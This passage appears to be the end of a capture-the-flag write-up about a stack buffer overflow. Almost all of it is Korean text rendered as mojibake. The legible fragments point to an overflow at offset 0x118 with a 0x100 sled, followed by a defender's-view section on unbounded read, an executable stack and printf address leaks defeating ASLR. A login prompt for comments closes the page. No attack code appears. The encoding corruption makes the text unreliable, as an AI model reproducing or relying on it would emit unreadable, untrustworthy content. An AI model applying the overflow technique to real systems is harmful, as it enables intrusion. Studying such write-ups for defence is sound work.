0x118 ์ ํ ๋ฒ ์ฌ๊ณ ๊ทธ๋ฅ ์ผ๋ค๋ฉด ์ด์ ๋งก๊ธด ์
์ด ๋๋ค. ํ๊ฒฝ๋ณ์ ํฌ๊ธฐ๋ฅผ ๋ฐ๊ฟ ๊ฐ๋ฉฐ ๋ค ๋ฒ ์ฌ ๋ณด๋ ์ ๋ ์ฃผ์๋ 4KB ๋๊ฒ ์์ง์ด๋๋ฐ ๊ฑฐ๋ฆฌ๋ ๋ฏธ๋๋ ์์๋ค. ์ด๊ฒ ํ์ธ๋๊ณ ๋์์ผ ์๊ฒฉ์ ํ ๋ฒ๋ง ๋ถ์ด๋ ๋๊ฒ ๋ค๋ ํ๋จ์ด ์ฐ๋ค. ์ฌ์ ๋ถ 0x100 ์ ๊ทธ๋ผ์๋ ๋จ๊ฒจ ๋ ๋ณดํ์ด๋ค.
๋ฐฉ์ด ์ชฝ์์ ๋ณด๋ฉด
์ด ๋ฌธ์ ๋ ์ทจ์ฝ์ ํ ๊ฐ๊ฐ ์๋๋ผ ๋ค ๊ฐ๊ฐ ๊ฒน์ณ์ผ ์ฑ๋ฆฝํ๋ค. ๊ธธ์ด๋ฅผ ๊ฒ์ฆํ์ง ์๋ read, ์ฌ์ฉ์ ์
๋ ฅ์ ๊ทธ๋๋ก ์ญ์ฐธ์กฐํ๋ ํฌ์ธํฐ, ์คํ ๊ฐ๋ฅํ ์คํ, ๊ทธ๋ฆฌ๊ณ ์ฃผ์๋ฅผ ๊ทธ๋๋ก ๋ฑ๋ ๋๋ฒ๊ทธ์ฉ printf.
๋ท ์ค ํ๋๋ง ๋์ด๋ ์ด ๊ฒฝ๋ก๋ ์ฃฝ๋๋ค. read ๊ธธ์ด๋ฅผ sizeof(buf) ๋ก ๋ฌถ์ผ๋ฉด ์ฐฉ์ง์ ๊น์ง ๋ชป ๊ฐ๋ค. NX ๋ง ์ผ์ ธ ์์ด๋(์์ฆ ํด์ฒด์ธ์ ๊ธฐ๋ณธ๊ฐ์ด๋ค) ์คํ์ ์ฌ๋ฆฐ ๋ฐ์ดํธ๊ฐ ์คํ๋์ง ์์ SIGSEGV ๋ก ๋๋๋ค. %p ๋ก ํฌ์ธํฐ๋ฅผ ์ฐ๋ ์ต๊ด์ด ์์๋ค๋ฉด libc ๋ฒ ์ด์ค๋ถํฐ ๋งํ๋ค.
ํนํ ๋ง์ง๋ง ๊ฒ์ ์ค์ ์ฝ๋์์๋ ํํ๋ค. ๋๋ฒ๊น ํ๋ ค๊ณ ๋ฃ์ ์ฃผ์ ์ถ๋ ฅ ํ ์ค์ด ASLR ์ ํต์งธ๋ก ๋ฌด๋ ฅํํ๋ค. ๋ก๊ทธ์ ํฌ์ธํฐ๋ฅผ ์ฐ๋ ์ฝ๋๋ ๋ฆด๋ฆฌ์ค ์ ์ ์ง์ฐ๋ ๊ฒ ๋ง๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ